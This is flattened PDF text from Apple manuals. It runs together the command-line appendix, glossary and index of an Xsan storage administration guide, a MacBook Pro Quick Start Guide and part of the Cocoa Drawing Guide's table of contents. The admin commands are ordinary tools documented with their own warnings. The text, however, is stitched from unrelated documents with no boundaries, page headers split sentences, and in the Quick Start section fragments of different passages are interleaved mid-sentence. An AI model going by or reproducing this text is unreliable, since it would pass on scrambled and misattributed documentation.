Choose the active volume that you want to work with interactively. volume – the name of the volume index – the numeric ID of the volume (to see a list of these, use the cvadmin select command without any parameters) disks [refresh] List LUNs. down pool Disallow all access to a storage pool. pool – the name of a storage pool in the currently active volumeAppendix C Use command-line tools 147 cvadmin command Description fail (volume|index) Cause a volume to fail over to a standby controller. volume – the name of the volume index – the numeric ID of the volume (to see a list of these, use the cvadmin select command without any parameters) filelocks [yes|no] Enable or disable file and record locks. Use the command without any parameter to see the current setting for locks. multipath pool (rotate|static) Specify how Xsan uses multiple paths to a storage pool. pool – the name of a storage pool in the active volume paths List available LUNs. quit Exit from cvadmin. quotas [yes|no] Enable or disable quotas for the active (selected) volume. Use the command without parameters to see the current setting for quotas. quotas get (user|group) name Display current quota information for a user or group. name – the name of the user or group quotas set (user|group) name hard soft grace Set quotas for user or group name. name – the name of the user or group hard – hard quota (bytes) soft – soft quota (bytes) grace – grace period (minutes) quotacheck Recalculate quota information for the active volume.148 Appendix C Use command-line tools cvadmin command Description repquota Generate the following quota report files in / Library/Logs/Xsan/data/volume: quota_report.txt – text file quota_report.csv – comma-delimited file quota_regen.in – cvadmin commands that will set up identical quotas on another metadata controller. You can use cvadmin -f to execute the commands. repof Create a report of open files on the active volume in the file /Library/Logs/Xsan/data/volume/ open_file_report.txt. select [volume] Choose the active volume that you want to work with. The name of the active volume appears preceding the command prompt in interactive mode, for example: Xsanadmin (Vol1) > To see a list of running volumes, leave off the volume parameter. volume – the name of an Xsan volume show [pool] [long] List storage pool information for the active volume. pool – the name of a storage pool in the currently active volume start volume [on] [controller] Start a volume based on the information in its configuration file (/Library/Preferences/Xsan/ volume.cfg). volume – the name of an Xsan volume controller – The address of the metadata controller to start the volume’s FSM process on stat Display information about the active volume. stop volume Stop a volume and its FSM process on all metadata controllers. up pool Allow access to the specified storage pool. pool – the name of a storage pool in the currently active volume who Display client information for the active volume.Appendix C Use command-line tools 149 Manipulate affinity tags (cvaffinity) Use the cvaffinity command to assign an affinity tag to a folder or a file or to list the affinity tag assigned to a folder or a file. Assigning an affinity tag to a folder or file causes it to be stored on a storage pool that has the same affinity tag. You can see the affinity tags for available storage pools by using the show long command of the cvadmin tool. Set an affinity tag for a folder or file: $ cvaffinity -s affinity target List the affinity tag assigned to a folder or file: $ cvaffinity -l target Delete the affinity tag from a folder or file: $ cvaffinity -d target Parameter Description affinity The affinity tag that’s assigned to the storage pools where you want the target folder or file to be stored. target The path to and name of the folder or file. Copy files or folders (cvcp) Use the cvcp command to copy files or folders to or from an Xsan volume. $ cvcp [options] source destination Parameter Description options See “cvcp command options” below. source The file or folder (directory) to be copied. destination Where the copy is created. cvcp command options Option Description -A Turn off preallocation. -b buffers Set the number of I/O buffers to use. buffers – the number of buffers to use for the copy -k size Set the copy buffer size. size – the buffer size (bytes)150 Appendix C Use command-line tools Option Description -l Copy the targets of symbolic links, not the links. -n Do not apply the command to subfolders. -p prefix Only copy files with names that start with the specified prefix. prefix – characters to match with the beginning of the file name -s Allocate on storage pool block boundaries. -t Specify the number of copy threads. -v Report all information about the file copied. -x Retain original file permissions in the copy. -y Retain ownership and group information in the copy. This works only if the root user is performing the copy. -z Retain original modification times in the copy. Examples Copy the file friday to /datasets/data1/july/: $ cvcp friday /datasets/data1/july Copy the folder /data1/ and all subfolders to /datasets/data1/, retaining all permissions and ownerships and displaying files as they are copied: $ cvcp -vxy data1 /datasets/data1 Perform a similar copy as above, but only copy files with names that begin “jul”: $ cvcp -vxy -p jul data1 /datasets/data1/july Check or repair a volume (cvfsck) Use the cvfsck command to check or repair an Xsan volume. $ sudo cvfsck [options] volume Parameter Description options See “cvfsck command options” below. volume The name of the volume to check or repair.Appendix C Use command-line tools 151 cvfsck command options Option Description -d Display extra debugging information. -e Display file extents statistics. -f Report fragmentation. -g Print journal recovery log. -j Perform journal recovery. -J Display raw journal data. -K Reset journal. Warning: Resetting the journal might introduce metadata inconsistencies. Don’t use unless absolutely necessary. -l Record problems in the system log. -n Check volume in read-only mode. -r Relocate files before changing volume configuration. -v Display all available information. –w Modify the file system as needed to repair problems. -x Report statistics in comma-separated form for use in a spreadsheet. Label, list, and unlabel LUNs (cvlabel) Use the cvlabel command to initialize LUNs so they can be added to storage pools. For details, see the cvlabel man page. List available LUNs: $ sudo cvlabel -l [-s] [-v] Note: This command lists all disks, not just the available LUNs. List current LUN and label information you can paste into a label file: $ sudo cvlabel -c Note: This command lists all disks, not just the available LUNs.152 Appendix C Use command-line tools Label a LUN: $ sudo cvlabel [-v] [-f] [labelfile] Important: Be sure to use this command only on disks that aren’t being used. Using Xsan Admin to label LUNs is safer, because it only shows available LUNs. Remove the label from a LUN: $ sudo cvlabel -u lun Parameter Description -l List available LUNs. -s Display device serial numbers. -v Show progress display. -c Create a label template file. -f Relabels LUNs that are labeled. labelfile An optional file containing information for each label. You can use the -c option to create this file. lun The LUN identified by disk name—for example: /dev/disk4. -u Unlabel the specified LUN. Create a folder and assign an affinity (cvmkdir) Use the cvmkdir command to create a folder (directory) and assign it an affinity tag so that its contents are stored on storage pools with the same affinity tag. $ cvmkdir -k affinity folder Parameter Description -k affinity Specifies the affinity tag to be associated with the folder. affinity – the affinity tag that’s assigned to the storage pools where you want the folder’s contents to be stored You can use the show long command of the cvadmin tool to see a storage pool’s affinity tag. You can use -k "" to remove the folder’s affinity tag. folder The path to and name of the folder.Appendix C Use command-line tools 153 Create and preallocate a file (cvmkfile) Use the cvmkfile command to allocate space for a file on an Xsan volume. $ cvmkfile [-k affinity] [-p] [-s] [-w] [-z] size(k|m|g) filename Parameter Description -k affinity Allocate space for the file on one of the storage pools with the specified affinity tag. affinity – the affinity tag that’s assigned to the storage pools where you want the folder’s contents to be stored You can use the show long command of the cvadmin tool to see a storage pool’s affinity tag. -p Force future extensions of the file to be aligned on block boundaries. -s Force the file allocation to align with block boundaries. -w Set file size as indicated by size. -z Set the contents of the file to zeros. size(k|m|g) A number specifying the amount of space to allocate to the file. size – a number k – kilobytes m – megabytes g – gigabytes filename The path to and name of the file to allocate. Example Allocate 2 GB of space for the file “data1” on the storage pool “datasets”: $ cvmkfile -k datasets 2g data1 Initialize a volume (cvmkfs) Use the cvmkfs command to initialize an Xsan volume based on the information in the volume’s configuration (in /Library/Preferences/Xsan/volume.cfg). WARNING: Initializing a volume destroys all existing data on the volume. $ sudo cvmkfs [-G] [-F] [volume]154 Appendix C Use command-line tools Parameter Description -G Don’t display “Press return to continue” prompts. -F Don’t display warning and verification prompts. Use with caution. volume The name of the volume to initialize. This name matches the name of a configuration (.cfg) file in /Library/Preferences/Xsan/. Apply volume configuration changes (cvupdatefs) Use the cvupdatefs command to apply configuration file changes to a volume after you modify the volume’s configuration files. $ sudo cvupdatefs [-f] volume [configdir] Parameter Description -f Update without prompting for confirmation or advising of errors in the configuration file. volume The volume to update. If you don’t specify a volume, available volumes are listed for you to choose from. configdir Location of the volume’s configuration (.cfg) file if it’s not in the default location (/Library/ Preferences/Xsan/). Defragment a file, folder, or volume (snfsdefrag) Use the snfsdefrag command to defragment a file by reallocating its data in a single extent. This can improve read and write performance for a file by increasing disk efficiency and reducing file metadata management overhead. Defragment a file or folder: $ snfsdefrag [-D] [-d] [-q] [-s] [-v] [-K affinity] [-k affinity] [-m count] [-r] target Report file extents without defragmenting: $ snfsdefrag -e [-K affinity] [-r] target [target] [...] Display an extent count without defragmenting: $ snfsdefrag -c [-K affinity] [-r] target [target] [...] Prune a file (remove allocated extents beyond the end of file): $ snfsdefrag -p [-D] [-v] [-q] [-K affinity] [-m count] [-r] target [target] [...] List files that are candidates for defragmentation: $ snfsdefrag -l [-D] [-v] [-K affinity] [-m count] [-r] target [target] [...]Appendix C Use command-line tools 155 Parameter Description -c Display an extent count but don’t defragment target. -D Display debugging messages. -d Operate on files with other than the current depth. -e Report extents without defragmenting. -K affinity Only operate on files with the specified storage pool affinity. affinity – the affinity key (in Xsan, the affinity key is the same as the name of the storage pool) You can use the cvadmin show long command to see a storage pool’s affinity key. -k affinity Allocate new extents on the storage pool with this affinity. -l List files that might benefit from defragmentation. -m count Only operate on files with more than count extents. -p Prune instead of defragment. -q Suppress messages. -r [target] Operate recursively to defragment all files in all folders within the specified target folder. -s Allocate new extents on block boundaries. -v Display all available information and status during defragmentation. Examples Count the extents in the file datafile: $ snfsdefrag -c datafile List the extents: $ snfsdefrag -e datafile Defragment the file datafile: $ snfsdefrag datafile Defragment every file in the folder /datafolder/ (or any folder within /datafolder/) that has more than one extent: $ snfsdefrag -r datafolder Recover unused preallocated disk space assigned to every file in folder /datafolder/: $ snfsdefrag -rp datafolder156 Appendix C Use command-line tools Control the Xsan file system (xsanctl) Use the xsanctl command to control basic Xsan file system functions. For details, see the xsanctl man page. $ sudo xsanctl command xsanctl commands xsanctl command Description ping Sends a ping message to the Xsan file system to verify that it’s responding to management requests. mount volume [options] Mounts an Xsan volume on the computer. If successfully mounted, the volume will be automounted at startup. volume – the name of the volume options – a space-delimited list of options for the mount operation. Automatic remounts of this volume also use the given mount options. If no options are given, the options used for the last mount operation are used. Valid mount options are most of the mount options recognized by the mount_acfs command. The few mount_acfs mount options that don’t apply to Xsan are ignored. Options are given by name and prefaced by two dashes (--). For example, to disable atime updates, use the noatime option of mount_acfs like this: xsanctl mount --noatime For options that pass a parameter, the option name is followed by an equals sign (=) and then the option. For example, to specify that the kernel should create 12 threads for the mount point, use: xsanctl mount --threads=12 If you use the --at option, make sure it specifies a location in the root file system. Xsan volumes mounted atop other file systems may not automatically remount correctly. For more information about available options, see the mount_acfs man page. unmount volume Unmounts an Xsan volume on the computer. If successfully unmounted, the volume won’t be automounted at startup. volume – the name of the volumeAppendix C Use command-line tools 157 xsanctl command Description list Lists the volumes available on the SAN and the path at which each volume is mounted on the local computer. sanConfigChanged Notifies the Xsan file system that it should reload the SAN configuration. roleChanged Notifies the Xsan file system that this computer’s SAN role has changed or the computer was removed from the SAN. disksChanged Notifies the Xsan file system that it should rescan disks. wipeConfig Resets the Xsan file configuration to an unconfigured state. All files in /Library/ Preferences/Xsan/ are removed except uuid. The xsand process isn’t unloaded. Directory services aren’t reconfigured. Mount an Xsan volume Use the xsanctl command to mount an Xsan volume on a computer. Mount a volume from the command line: 1 Go to the computer and open Terminal, or use SSH to log in to the computer remotely: $ ssh user@computer Replace user with the name of a user account on the remote computer and computer with its IP address or DNS name. If you have trouble making an SSH connection, check the Sharing pane of System Preferences on the remote computer and make sure Remote Login service is turned on. 2 Mount the volume: $ sudo xsanctl mount volume For example: $ sudo xsanctl mount SanVol Unmount an Xsan volume Use the xsanctl command to unmount an Xsan volume on a computer. Unmount a volume: 1 Go to the computer and open Terminal, or use SSH to log in to the computer remotely: $ ssh user@computer Replace user with the name of a user account on the remote computer and computer with its IP address or DNS name.158 Appendix C Use command-line tools If you have trouble making an SSH connection, check the Sharing pane of System Preferences on the remote computer and make sure Remote Login service is turned on. 2 Unmount the volume: $ sudo xsanctl unmount volume For example: $ sudo xsanctl unmount SanVol View logs The system log to which Xsan writes information about SANs is in /var/log/system.log. Volume logs are in /Library/Logs/Xsan/data/volume/log/cvlog, where volume is the name of the specific volume. Xsan configuration files Xsan stores its configuration information in the following files. On Xsan metadata controllers and Xsan 2.3 clients (Macs with Mac OS X Lion or Lion Server), the configuration files are located at /Library/Preferences/Xsan/. Some of the following Xsan configuration files are present on Xsan 2.2 clients at /Library/Filesystems/Xsan/config/. Note: Don’t edit these files except under the direction of an Apple support engineer. File or folder in /Library/Preferences/Xsan/ Contents volume.cfg Volume settings volume-auxdata.plist Additional volume settings used by Xsan Admin fsmlist Volume autostart list fsnameservers Controller list automount.plist Xsan volumes to be mounted during startup, and their mount options config.plist Private Xsan Admin configuration information notifications.plist Notification settings made with Xsan Admin notes/ Note files whose contents were entered in Xsan Admin’s Inspector window uuid Private Xsan Admin computer identification information license.dat StorNext license information159 affinity A relationship between a folder on an Xsan volume and one or more storage pools that provide storage for the volume. The affinity guarantees that files placed in the folder are stored only on the associated storage pools. Storage pools can differ in capacity and performance, and affinities can be used to assure that data such as video, which requires high transfer speed, is stored on the fastest storage devices. affinity tag In Xsan predefined volume types, you assign LUNs to affinity tags instead of assigning the LUNs directly to storage pools. Then Xsan Admin can create underlying storage pools with appropriate affinities and the optimal numbers of LUNs to achieve best performance. allocation strategy In Xsan, the order in which data is written to the storage pools that make up a volume. Applicable only if there’s more than one storage pool in a volume, and only if the pools are of the same class. Can be fill, round robin, or balance. balance An Xsan storage pool allocation strategy. Before allocating space on a volume consisting of more than one storage pool, Xsan checks available storage on all pools, and then uses the one with the most free space. block allocation size An Xsan volume property. The smallest number of bytes that can be reserved on, written to, or read from an Xsan volume. client A computer (or a user of the computer) that requests data or services from another computer, or server. controller In an Xsan storage area network, short for metadata controller. In RAID systems, controller refers to hardware that manages the reading and writing of data. By segmenting and writing or reading data on multiple drives simultaneously, the RAID controller achieves fast and highly efficient storage and access. See also metadata controller. failover In Xsan, the automatic process by which a standby metadata controller becomes the active metadata controller if the primary controller fails. failover priority On a SAN with more than one controller, specifies which standby controller to try first during failover. file system A scheme for storing data on storage devices that allows apps to read and write files without having to deal with lower-level details. Glossary Glossary160 Glossary file system server See FSS. fill An Xsan storage pool allocation strategy. In a volume consisting of more than one storage pool, Xsan fills up the first pool before writing to the next. format (verb) In general, to prepare a disk for use by a particular file system. FSS File system server. The StorNext File System term for the computer that manages metadata in a storage area network (SAN). In Xsan, this is called a metadata controller. initialize To prepare a disk for use by a particular file system. In Xsan, to prepare a RAID array for use in a storage pool. label (noun) In Xsan, an identifying name for a LUN. You can assign a label to a LUN before or during setup of an Xsan storage pool. label (verb) Used by some sources (such as StorNext) to refer to the process of preparing a logical disk for use with a file system. In Xsan, however, initialize is used to refer to preparing a disk for use in a storage pool. logical disk A storage device that appears to a user as a single disk for storing files, even though it might actually consist of more than one physical disk drive. An Xsan volume, for example, is a logical disk that behaves like a single disk even though it consists of multiple storage pools that are, in turn, made up of multiple LUNs, each of which contains multiple disk drives. See also physical disk. LUN Logical unit number. A SCSI identifier for a logical storage device. In Xsan, an unformatted logical storage device such as a RAID array or slice. metadata Information about a file system and the files it stores (for example, which disk blocks a file occupies or which blocks are available for use). In Xsan, metadata is managed by a metadata controller and exchanged over an Ethernet connection, while actual file data is transferred over a Fibre Channel connection. metadata controller The computer that manages metadata in an Xsan storage area network. mount (verb) To make a remote directory or volume available for access on a local system. In Xsan, to cause an Xsan volume to appear on a client’s desktop, just like a local disk. physical disk An actual, mechanical disk. Compare with logical disk. RAID Redundant Array of Independent (or Inexpensive) Disks. A grouping of multiple physical hard disks into a disk array, which either provides high-speed access to stored data, mirrors the data so that it can be rebuilt in case of disk failure, or both. The RAID array is presented to the storage system as a single logical storage unit. See also RAID array, RAID level. RAID 0 A RAID scheme in which data is distributed evenly in stripes across an array of drives. RAID 0 increases the speed of data transfer, but provides no data protection.Glossary 161 RAID 0+1 A combination of RAID 0 and RAID 1. This RAID scheme is created by striping data across multiple pairs of mirrored drives. RAID 1 A RAID scheme that creates a pair of mirrored drives with identical copies of the same data. It provides a high level of data availability. RAID 3 A RAID scheme that stripes data across two or more drives and stores parity data on a dedicated drive. In the event of a disk failure, the redundant parity bits can be used to reconstruct data on any drive. RAID 5 A RAID scheme that distributes both data and parity information across an array of drives one block at a time, with each drive operating independently. This enables maximum read performance when accessing large files. RAID array A group of physical disks organized and protected by a RAID scheme and presented by RAID hardware or software as a single logical disk. In Xsan, RAID arrays appear as LUNs, which are combined to form storage pools. RAID level A storage allocation scheme used for storing data on a RAID array. Specified by a number, as in RAID 3 or RAID 0+1. RAID set See RAID array. round robin An Xsan storage pool allocation strategy. In a volume consisting of more than one storage pool, Xsan allocates space for successive writes to each available pool in turn. SAN Storage area network. In general, a network whose primary purpose is the transfer of data between computer systems and storage elements and among storage elements. In Xsan, a SAN is a combination or one or more controllers, storage volumes, and storage clients. storage pool A group of logical disks that share common characteristics, such as throughput or latency, across which user data is striped. In Xsan, storage pools are combined into volumes. The StorNext File System calls this a stripe group. stripe (verb) To write data to successive stripes in a RAID array or LUN. stripe breadth An Xsan storage pool property. The number of bytes of data, expressed as a number of file system blocks, that Xsan writes to a LUN in a storage pool before moving to the next LUN in the pool. stripe group The StorNext File System term for an Xsan storage pool. volume A mountable allocation of storage that behaves, from the client’s perspective, like a local hard disk, hard disk partition, or network volume. In Xsan, a volume consists of one or more storage pools. See also logical disk.A access permissions for folders 97 unmounting a volume 98 access control list. See ACLs ACLs enabling and disabling 82 setting up in Xsan Admin 97 Active Directory 58, 61 adding clients to SAN 89 adding storage 38, 71 affinity assigning to folder 77 described 35, 36 removing 79 affinity tag 35 allocation strategy setting for volume 80 availability considerations 47 B balance volume allocation strategy 80 block allocation size choosing for a volume 80 C case sensitivity 66, 82, 90 client worker threads 93 clients adding 89 adding serial number 91 checking quotas from 104 defined 33 moving 91 removing from SAN 99 StorNext 141 using a volume 121 command-line tools cvadmin 145 cvaffinity 149 cvcp 149 cvfsck 150 cvlabel 151 cvmkdir 152 cvmkfile 153 cvmkfs 153 cvupdatefs 154 installed location 142 man pages 143 snfsdefrag 154 xsanctl 156 compatibility with other versions of Xsan 13 configuration files 158 controllers adding 107 changing IP address 111 limit per SAN 38 listing hosted volumes 110 overview 33 cvadmin tool 145 cvaffinity tool 149 cvcp tool 149 cvfsck tool 150 checking volumes 85, 86 repairing volumes 87 cvlabel tool 151 cvmkdir tool 152 cvmkfile tool 153 cvmkfs tool 153 cvupdatefs tool 154 D defragmenting volumes 85 delay access time updates 93 directory cache size 93 directory services 43, 57, 61 Directory Utility 62 E email notifications 119 enabling Xsan 63 Ethernet configuring 59 guidelines 42 Index 162 IndexIndex 163 exclusive affinity tag 84 expanding storage 38, 71 extended attributes enabling 81 F failover 109 forcing 109 failover priority 109 Fibre Channel configuration requirements 41 monitoring connection failures 120 supported switches 41 file systems. See volumes files limit per volume 38 maximum size 38 name length limit 38 fill volume allocation strategy 80 firewall, and Xsan Admin 58 fragmentation 85 free space checking quota use 103 checking storage pool 117 checking volume 117 G grace period (quota) 102 graphs controller overall CPU use 118 controller overall IP network use 118 group ID. See GID groups configuring 61 setting up 57 H hard quota checking 103 defined 102 setting 100 home folders creating local 44, 96 I IP addresses changing for controller 111 J journal choosing location 50 described 37 L logical unit number. See LUNs logs controlling number of messages 58 viewing 120 LUNs (logical unit numbers) actual size vs. used size 76, 123 adding to existing affinity tag 75 description 34 limit per storage pool 38 limit per volume 38 maximum size 38 name length limit 38 overview 33 preparing 56, 72 setup scripts 72 size adjusted downward 123, 125 trouble adding to storage pool 125 M mail service for notifications 44 man pages for command-line tools 143 memory requirements 40 metadata choosing location 50 described 37 estimating space requirement 51 mount options 93 mounting a volume 92 from the command line 157 moving clients to another SAN 91 N naming limits 38 networks in SAN overview 32, 33 notation conventions for commands 143 notifications mail service required 44 setting up 68, 119 O Open Directory 57, 61 P permissions user access to folders 97 Q quotas checking from client 104164 Index checking from command line 104 checking usage in Xsan Admin 103 described 102 example 103 grace period 102 setting 68, 100 R RAID schemes for LUNs 47 refresh interval, Xsan Admin 58 repairing a volume 87 round robin volume allocation strategy 80 S SAN (storage area network) adding 69 adding clients 89 adding storage 71 destroying 70 managing multiple 69 moving clients 91 name length limit 38 renaming 69 security considerations 38, 47 serial number adding 91 server setup assistant 57 shared secret file 141 shell commands. See command-line tools. snfsdefrag tool 154 defragmenting files 86 soft quota checking 103 defined 102 setting 100 Spotlight enabling and disabling 66, 81 storage area network. See SAN storage pools adding to existing volume 74 advanced settings 83 checking free space 117 described 35 limit per volume 38 name length limit 38 reserved names 124 storage, expanding 71 StorNext File System 140 stripe breadth 84 stripe groups. See storage pools striping, across LUNs 35, 37 system requirements 40 T text message notifications 119 time server 60 tools. See command-line tools. troubleshooting can’t access RAID system 123 can’t connect to SAN 122 can’t enable Xsan 122 can’t mount volume 123 can’t unmount volume 123 client unable to reconnect 124 computers not listed 122 file copy doesn't finish 125 LUN size adjusted downward 123, 125 poor Fibre Channel performance 124 reserved storage pool names 124 unable to add LUN 125 unable to rename volume 123 volume restarts 126 U unmounting a volume 98 from the command line 157 users configuring 61 finding 58 home folders 57 setting up 57 V volume configuration file 158 volumes adding to existing SAN 73 checking free space 117 checking integrity 86 configuration file 158 defragmenting 85 described 36 destroying 88 fragmentation 85 identifying controller 110 listed by controller 110 mounting from command line 157 name length limit 38 repairing 87 show clients using 121 trouble mounting 123 unmounting 98, 157 X Xsan Admin installing 68 remote SAN management 69 Xsan Admin application and firewalls 58Index 165 overview 58 preferences 58 refresh interval 58 Xsan software disabling 99 version compatibility 13 Xsan enabling 63 xsanctl tool 156 Let’s get started When you start your MacBook Pro for the first time, Setup Assistant will help you get going. Just follow a few simple steps to quickly connect to your Wi-Fi network, transfer your stuff from another Mac or a PC, and create a user account for your Mac. You’ll also be able to log in with your Apple ID. This will allow you to shop the App Store, iTunes Store, and Apple Online Store. It will let you keep in touch using Messages and FaceTime. And it will let you access iCloud, which is automatically set up on your Mac in apps like Mail, Contacts, and Calendar. If you don’t have an Apple ID, you can create one in Setup Assistant. Multi-Touch gestures You can do a lot of things on your MacBook Pro using simple gestures on the trackpad. Here are some of the most popular ones. Get to know your desktop The desktop is where you can find everything and do anything on your Mac. The Dock at the bottom of the screen is a handy place to keep the apps you use most. It’s also where you can open System Preferences, which lets you customize your desktop and other settings on your Mac. Click the Finder icon to quickly get to all your files and folders. The menu bar at the top has lots of useful information about your Mac. To check the status of your wireless Internet connection, click the Wi-Fi icon. Your Mac automatically connects to the network you chose during setup. Hello. Multi-Touch trackpad MagSafe 2 power connector Power adapter AC power cord Power button Click Press down anywhere on the trackpad to click. Or, with Tap to Click enabled, simply tap the surface. Secondary click (right click) Click with two fingers to open shortcut menus. Or, with Tap to Click enabled, tap two fingers anywhere. Swipe to navigate Swipe with two fingers to flip through web pages, documents, and more. Double click Press down two times anywhere on the trackpad. Or, with Tap to Click enabled, double-tap the surface. Two-finger scroll Brush two fingers along the trackpad to scroll in any direction—up, down, or sideways. Smart zoom Double-tap the trackpad with two fingers to quickly magnify a web page. Pinch to zoom Zoom in and out of photos and web pages more precisely by pinching your thumb and finger. Switch between full-screen apps Swipe with three fingers to move from one full-screen app to another. View Launchpad Pinch with four fingers to view all your apps in Launchpad. Rotate Turn your thumb and finger clockwise or counterclockwise to rotate an image. View Mission Control Swipe up with three fingers to see every open window on your Mac. Learn more Choose System Preferences from the Apple menu and click Trackpad to learn more about gestures. iCloud iCloud stores your music, photos, documents, calendars, and more. And it wirelessly pushes them to your Mac, iPhone, iPad, iPod touch, and even your PC. All without docking or syncing. So when you buy a song on one device, it’s instantly available on all your other devices. When you adjust your calendar, all your devices stay up to date. And with Photo Stream, your latest photos appear everywhere you want to see them, automatically. To customize your iCloud settings, open the Apple menu, choose System Preferences, and click iCloud. Then sign in with your Apple ID and choose the iCloud features you want to use. An important note Please read this document and the safety information in the Important Product Information Guide carefully before you first use your computer. Learn more You can find more information, watch demos, and learn even more about MacBook Pro features at www.apple.com/macbookpro. Help You can often find answers to your questions, as well as instructions and troubleshooting information, in Help Center. Click the Finder icon, click Help in the menu bar, and choose Help Center. OS X Utilities If you have a problem with your Mac, OS X Utilities can help you repair your computer’s flash storage, restore your software and data from a Time Machine backup, or erase your flash storage and reinstall OS X and Apple applications. You can also use Safari to get online help. If your Mac detects a problem, it opens OS X Utilities automatically. Or you can open it manually by restarting your computer while holding down the Command and R keys. Support Your MacBook Pro comes with 90 days of technical support and one year of hardware repair warranty coverage at an Apple Retail Store or an Apple Authorized Service Provider. Visit www.apple.com/support/macbookpro for MacBook Pro technical support. Or call 1-800-275-2273. In Canada, call 1-800-263-3394. Not all features are available in all areas. TM and © 2012 Apple Inc. All rights reserved. Designed by Apple in California. Printed in XXXX. 034-6357-A AC plug Help menu Menu bar Finder Dock System Preferences Quick Start Guide Let’s get moving It’s easy to move files like documents, email, photos, music, and movies to your new Mac from another Mac or a PC. The first time you start your new Mac, it will walk you through the process step by step. All you have to do is follow the onscreen instructions. Welcome to your new MacBook Pro. We’d like to show you around. MagSafe 2 USB 3 Headphone FaceTime HD camera SDXC HDMI USB 3 Wi-Fi status Thunderbolt Dual microphonesClick the Safari icon in the Dock and surf the web quickly and easily with Multi-Touch gestures. Scroll up or down with two fingers on the trackpad. Swipe right and left with two fingers to go back and forth Safari web browser Mail Top Sites Get a quick overview of the sites you visit most often. One-stop email View all your accounts in Mail for one-click access. Conversation view See all the email messages from a conversation thread. Search Quickly narrow search results to find exactly what you want. Mail lets you manage all your email accounts from a single, ad-free inbox, even when you’re not connected to the Internet. It works with most email standards— including POP3 and IMAP—and between pages. Double-tap with two fingers to magnify a page, then double-tap again to return to the original size. Or pinch to zoom in and out. popular email services like Gmail, Yahoo! Mail, and AOL Mail. You can also use Mail for the free me.com email account you get with iCloud. The first time you open Mail, Setup Assistant will help you get started. Launchpad Open Launchpad Click the Launchpad icon in the Dock. Folders Group apps in folders by dragging one app on top of another. Launchpad is the home for all the apps on your Mac. Just click the Launchpad icon in the Dock, and your open windows are replaced by a full-screen display of all your apps. Arrange apps any way you want, group them together in folders, or delete them from your Mac. When you download an app from the Mac App Store, it automatically appears in Launchpad. Mission Control Mission Control gives you a bird’s-eye view of everything running on your Mac. Click the Mission Control icon in the Dock, and your desktop zooms out to display all the open windows in every application, all your fullscreen apps, and Dashboard, the home of mini-apps called widgets. Click anything to zoom in on it. Think of Mission Control as the hub of your system—view everything and go anywhere with just a click. Open Mission Control Click the Mission Control icon in the Dock. Add desktop spaces Click the + button to the right of the top row to add a new space. Dashboard Located at the top left for easy access. Reading List Click the glasses icon to save pages to read later. Mac App Store The Mac App Store is the best way to find and download thousands of apps for your Mac, from games and social networking to productivity apps and more. New apps install in one step to Launchpad. You can install apps on every Mac authorized for your personal use and even download them again. The Mac App Store lets you know when app and OS X updates are available, so you always have the latest versions. Open the Mac App Store by clicking its icon in the Dock. iTunes With iTunes, you can organize and play your digital music and videos on your Mac. And you can shop in the iTunes Store for new music, movies, TV shows, books, and more. iTunes is also where you’ll find the App Store for iPad, iPhone, and iPod touch. iTunes Store Discover and buy new music, movies, and more. Genius Mixes Let iTunes search your music library and group songs that go great together. Calendar Multiple calendars Access all your calendars from one place. Keep track of your busy schedule with Calendar. You can create separate calendars—one for home, another for school, a third for work. See all your calendars in a single window or choose to see only the calendars you want. Create and send invitations using contact info from the Contacts app, then see who has responded. Use iCloud to update calendars on all your devices automatically or share calendars with other iCloud users. iPhoto Create Create books, cards, and calendars. Faces iPhoto can even organize your photos based on who’s in them. Events Double-click any Event to browse photos. iPhoto is the best way to organize, browse, edit, and share your photos on your Mac. You can organize your photo library by Faces, Places, and Events. To send photos by email or publish them to Facebook, just select the photo and click Share in the bottom right of your screen. Or click Create to turn your favorite shots into photo books, calendars, and cards. iMovie Event browser Your imported videos appear here so you can access all your clips. Project browser Simply drop your clips in a project to create a great movie. iMovie puts all your video clips in one place and gives you the editing tools and special effects you need to quickly turn them into something memorable. You can make great-looking movies or even Hollywood-style movie trailers with just a few clicks. And iMovie lets you import video from most popular digital video cameras, your iPhone, iPad, or iPod touch, or the FaceTime HD camera on your Mac. Messages Just log in with your Apple ID, and you can send unlimited messages including text, photos, videos, and more to your friends on a Mac, iPad, iPhone, or iPod touch. With iCloud, you can start a conversation on one device and pick it up on another. And if you want to talk to someone face to face, you can start a video call* just by clicking the FaceTime icon in the top-right corner of the Messages window. Replies in progress Three dots mean your friend is typing a reply. Delivery receipts See when your message has arrived. FaceTime Start a video call right in Messages. *Requires FaceTime-enabled device for both caller and recipient. Not available in all areas. Full-screen view Click the full-screen button to go full screen. Always up to date Updates to your purchased apps and OS X appear automatically. Discover new apps Browse thousands of apps and download them straight to Launchpad. Calendar view Select the view you prefer—day, week, month, or year. Add an event Double-click in a calendar to create a new event. Cocoa Drawing GuideContents Introduction to Cocoa Drawing Guide 10 At a Glance 10 See Also 11 Overview of Cocoa Drawing 12 Cocoa Drawing Support 12 The Painter’s Model 13 The Drawing Environment 14 The Graphics Context 14 The Graphics State 15 The Coordinate System 16 Transforms 16 Color and Color Spaces 17 Basic Drawing Elements 17 Geometry Support 17 Shape Primitives 18 Images 19 Gradients 20 Text 20 Views and Drawing 21 Common Drawing Tasks 22 Graphics Contexts 24 Graphics Context Basics 24 The Current Context 25 Graphics State Information 27 Screen Canvases and Print Canvases 29 Graphics Contexts and Quartz 30 Modifying the Current Graphics State 30 Setting Colors and Patterns 31 Setting Path Attributes 31 Setting Text Attributes 32 Setting Compositing Options 32 Setting the Clipping Region 35 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 2Setting the Anti-aliasing Options 37 Creating Graphics Contexts 38 Creating a Screen-Based Context 39 Creating a PDF or PostScript Context 39 Threading and Graphics Contexts 40 Coordinate Systems and Transforms 41 Coordinate Systems Basics 41 Local Coordinate Systems 41 Points Versus Pixels 43 Resolution-Independent User Interface 44 Transform Basics 45 The Identity Transform 45 Transformation Operations 46 Transformation Ordering 48 Transform Mathematics 50 Using Transforms in Your Code 51 Creating and Applying a Transform 51 Undoing a Transformation 52 Transforming Coordinates 53 Converting from Window to View Coordinates 53 Flipped Coordinate Systems 55 Configuring Your View to Use Flipped Coordinates 56 Drawing Content in a Flipped Coordinate System 56 Creating a Flip Transform 59 Cocoa Use of Flipped Coordinates 60 Doing Pixel-Exact Drawing 61 Tips for Resolution Independent Drawing in Cocoa 62 Accessing the Current Scale Factor 62 Adjusting the Layout of Your Content 63 Converting Coordinate Values 64 Color and Transparency 65 About Color and Transparency 65 Color Models and Color Spaces 65 Color Objects 66 Color Component Values 66 Transparency 66 Pattern Colors 67 Color Lists 68 2012-09-19 | © 2005, 2012 Apple Inc. All Rights Reserved. 3 ContentsColor Matching 68 Creating Colors 